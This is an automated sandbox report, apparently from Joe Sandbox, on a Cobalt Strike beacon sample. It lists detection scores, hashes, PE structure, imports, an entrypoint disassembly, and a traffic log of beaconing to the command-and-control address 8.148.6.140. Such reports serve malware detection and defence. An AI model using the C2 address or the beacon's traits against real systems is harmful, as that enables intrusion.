This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
beacon_x86.exe	79%	Virustotal		Browse
beacon_x86.exe	95%	ReversingLabs	Win32.Trojan.CobaltStrike
beacon_x86.exe	100%	Avira	HEUR/AGEN.1344233
beacon_x86.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://8.148.6.140/api/v1/get4	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/getK	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/get2	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/get1	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/getBase	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/gety	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/getL	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/getwshqos.dll.mui	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/get.	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/getP	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/getoft	0%	Avira URL Cloud	safe
8.148.6.140	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/get	0%	Avira URL Cloud	safe
http://8.148.6.140/api/v1/getF	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
8.148.6.140	true	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/get	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://8.148.6.140/api/v1/getBase	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/get4	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/get2	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/getwshqos.dll.mui	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/gety	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/getL	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/getK	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/getP	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/get1	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/get.	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/getoft	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://8.148.6.140/api/v1/getF	beacon_x86.exe, 00000000.00000002.3890371046.0000000000753000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
8.148.6.140	unknown	Singapore		37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587368
Start date and time:	2025-01-10 09:32:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	beacon_x86.exe
Detection:	MAL
Classification:	mal92.troj.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 34 Number of non-executed functions: 90
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
8.148.6.140	beacon_x64.exe	Get hash	malicious	CobaltStrike	Browse	8.148.6.140/api/v1/get

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	beacon_x64.exe	Get hash	malicious	CobaltStrike	Browse	8.148.6.140
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse	118.178.60.103
	armv5l.elf	Get hash	malicious	Unknown	Browse	47.116.93.193
	3.elf	Get hash	malicious	Unknown	Browse	47.113.16.150
	armv7l.elf	Get hash	malicious	Unknown	Browse	8.181.124.11
	THsSNYblMw.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	47.121.190.121
	Fantazy.sh4.elf	Get hash	malicious	Unknown	Browse	139.242.78.130
	Fantazy.ppc.elf	Get hash	malicious	Unknown	Browse	47.114.96.229
	Fantazy.mips.elf	Get hash	malicious	Unknown	Browse	8.140.140.254

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.777438348295706
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	beacon_x86.exe
File size:	324'096 bytes
MD5:	bffe5dbe4d4ececc6652360ce37b8075
SHA1:	9e3ccfe33a88fd70ba6b5ac8f72b3bc0c760e798
SHA256:	c86426eeb24a042903b302c21513defb1e61535fc008b7c9e847113ddb798666
SHA512:	a57a54cdc9411288b0058d90bd942c8954c40e184be11e8d4296355466f466bba111d845a3b906835f3755e204e7d7fe0977b9da989ea2050040654fa66019d3
SSDEEP:	6144:E1Qdv/pgihi5cFPr8OstxsUvuTHNPbNKuXjlM6SKj:Wi/pgOYXOtpHNPbNlXjqe
TLSH:	0864CF6FA432C8E7C8FD71F01AC763AFA5AE127C5885CA7AD74EF094F421B045E84592
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......................".....................0....@..........................@................ ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4014a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x401b40, 0x401af0
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f6243a15fa8eee8ee96b5e1144d461f6

Entrypoint Preview

Instruction
sub esp, 0Ch
mov dword ptr [00450394h], 00000001h
call 00007F195CE92263h
add esp, 0Ch
jmp 00007F195CE91A1Bh
lea esi, dword ptr [esi+00000000h]
sub esp, 0Ch
mov dword ptr [00450394h], 00000000h
call 00007F195CE92243h
add esp, 0Ch
jmp 00007F195CE919FBh
lea esi, dword ptr [esi+00000000h]
sub esp, 1Ch
mov eax, dword ptr [esp+20h]
mov dword ptr [esp], eax
call 00007F195CE931EAh
test eax, eax
sete al
add esp, 1Ch
movzx eax, al
neg eax
ret
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [esp], 00401520h
call 00007F195CE91D43h
leave
ret
lea esi, dword ptr [esi+00000000h]
lea esi, dword ptr [esi+00h]
nop
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
pop ebp
jmp eax
push ebp
mov edx, dword ptr [0040302Ch]
mov ebp, esp
mov eax, dword ptr [ebp+08h]
test edx, edx
jle 00007F195CE91D93h
cmp dword ptr [00403030h], 00000000h
jle 00007F195CE91D8Ah
mov ecx, dword ptr [00451148h]
mov dword ptr [eax+edx], ecx
mov ecx, dword ptr [0045114Ch]
mov edx, dword ptr [00403030h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x51000	0x644	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4f030	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5111c	0xe0	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1a44	0x1c00	78084e5ca85835392a463f62abd5746c	False	0.5334821428571429	data	5.700340700341032	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x3000	0x4bc6c	0x4be00	d09fab49fa7c820bc22a7bf525cb270c	False	0.5702063169275123	dBase III DBT, version number 0, next free block index 10, 1st item "\340\334\253\212\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334+#\346\334\017\220\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334+\223\344\334\037\313\210\227E\277\344\334\376\002\346\334+\203\344\334+\001\346\334+\227\344\334+\223\344\334+\223\344\334+\223\344\334\013\223\344\274\037"	6.802458719813997	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x4f000	0x634	0x800	667441c840a2c3ea7e1291acd47bf4c5	False	0.2275390625	data	4.495993508967327	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x50000	0x428	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x51000	0x644	0x800	7d72908e4c68f22d444c4e664d88dda3	False	0.3544921875	data	4.2935353496828945	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x52000	0x34	0x200	a09a5f5fb4593e99cd0076e5f2fcec2e	False	0.072265625	Matlab v4 mat-file (little endian) \200\031@, numeric, rows 4198688, columns 0	0.2711142780062829	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x53000	0x8	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, ConnectNamedPipe, CreateFileA, CreateNamedPipeA, CreateThread, DeleteCriticalSection, EnterCriticalSection, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetLastError, GetModuleHandleA, GetProcAddress, GetStartupInfoA, GetSystemTimeAsFileTime, GetTickCount, InitializeCriticalSection, LeaveCriticalSection, QueryPerformanceCounter, ReadFile, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsGetValue, UnhandledExceptionFilter, VirtualAlloc, VirtualProtect, VirtualQuery, WriteFile

msvcrt.dll

__getmainargs, __initenv, __lconv_init, __p__acmdln, __p__fmode, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _initterm, _iob, _onexit, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, signal, sprintf, strlen, strncmp, vfprintf

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 09:33:14.741468906 CET	49704	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:14.746558905 CET	80	49704	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:14.746654034 CET	49704	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:14.746783972 CET	49704	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:14.751660109 CET	80	49704	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:15.723031998 CET	80	49704	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:15.723054886 CET	80	49704	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:15.723104000 CET	49704	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:15.723151922 CET	49704	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:15.724241972 CET	49704	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:15.729049921 CET	80	49704	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:27.197143078 CET	49705	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:27.202027082 CET	80	49705	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:27.202100039 CET	49705	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:27.206543922 CET	49705	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:27.211359978 CET	80	49705	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:28.167161942 CET	80	49705	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:28.167187929 CET	80	49705	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:28.167346954 CET	49705	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:28.167346954 CET	49705	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:28.167457104 CET	49705	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:28.172367096 CET	80	49705	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:43.110169888 CET	49786	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:43.116633892 CET	80	49786	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:43.116796017 CET	49786	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:43.116868973 CET	49786	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:43.121926069 CET	80	49786	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:53.089167118 CET	80	49786	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:53.089258909 CET	49786	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:53.089340925 CET	80	49786	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:53.089356899 CET	80	49786	8.148.6.140	192.168.2.5
Jan 10, 2025 09:33:53.089538097 CET	49786	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:53.089538097 CET	49786	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:53.089554071 CET	49786	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:33:53.094350100 CET	80	49786	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:01.532318115 CET	49902	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:01.538027048 CET	80	49902	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:01.538142920 CET	49902	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:01.538283110 CET	49902	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:01.545789003 CET	80	49902	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:02.534269094 CET	80	49902	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:02.534312963 CET	80	49902	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:02.534363031 CET	49902	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:02.534420967 CET	49902	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:02.535289049 CET	49902	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:02.540169954 CET	80	49902	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:13.596132994 CET	49979	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:13.603368998 CET	80	49979	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:13.603471041 CET	49979	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:13.603579998 CET	49979	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:13.610373020 CET	80	49979	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:14.582881927 CET	80	49979	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:14.582906008 CET	80	49979	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:14.582984924 CET	49979	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:14.583014011 CET	49979	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:14.583213091 CET	49979	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:14.588042021 CET	80	49979	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:28.875695944 CET	49980	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:28.880768061 CET	80	49980	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:28.880867958 CET	49980	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:28.881055117 CET	49980	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:28.885910034 CET	80	49980	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:29.857074976 CET	80	49980	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:29.857170105 CET	80	49980	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:29.857207060 CET	80	49980	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:29.857393980 CET	49980	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:29.857394934 CET	49980	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:29.857583046 CET	49980	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:29.862680912 CET	80	49980	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:41.532005072 CET	49982	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:41.537147999 CET	80	49982	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:41.537275076 CET	49982	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:41.537434101 CET	49982	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:41.542279959 CET	80	49982	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:42.526767969 CET	80	49982	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:42.526854038 CET	49982	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:42.526874065 CET	80	49982	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:42.526918888 CET	49982	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:42.529597998 CET	49982	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:42.534514904 CET	80	49982	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:56.219410896 CET	49983	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:56.224865913 CET	80	49983	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:56.224965096 CET	49983	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:56.225063086 CET	49983	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:56.229918003 CET	80	49983	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:57.190067053 CET	80	49983	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:57.190176964 CET	80	49983	8.148.6.140	192.168.2.5
Jan 10, 2025 09:34:57.190387011 CET	49983	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:57.190387011 CET	49983	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:57.190491915 CET	49983	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:34:57.195509911 CET	80	49983	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:07.953865051 CET	49984	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:07.959166050 CET	80	49984	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:07.959280014 CET	49984	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:07.959367037 CET	49984	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:07.964194059 CET	80	49984	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:08.935903072 CET	80	49984	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:08.935966015 CET	80	49984	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:08.936000109 CET	80	49984	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:08.936041117 CET	49984	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:08.936042070 CET	49984	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:08.936131954 CET	49984	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:08.936280966 CET	49984	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:08.941191912 CET	80	49984	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:23.510116100 CET	49985	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:23.515228987 CET	80	49985	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:23.515315056 CET	49985	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:23.515551090 CET	49985	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:23.521147013 CET	80	49985	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:24.504993916 CET	80	49985	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:24.505153894 CET	80	49985	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:24.505187988 CET	49985	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:24.505289078 CET	49985	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:37.859551907 CET	49985	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:37.859925032 CET	49986	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:37.864607096 CET	80	49985	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:37.864943027 CET	80	49986	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:37.865081072 CET	49986	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:37.865269899 CET	49986	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:37.870114088 CET	80	49986	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:39.461031914 CET	80	49986	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:39.461090088 CET	80	49986	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:39.461198092 CET	49986	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:39.461424112 CET	49986	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:39.466249943 CET	80	49986	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:53.344727993 CET	49987	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:53.349769115 CET	80	49987	8.148.6.140	192.168.2.5
Jan 10, 2025 09:35:53.349895954 CET	49987	80	192.168.2.5	8.148.6.140
Jan 10, 2025 09:35:53.350166082 CET	49987	80	192.168.2.5	8.148.6.140
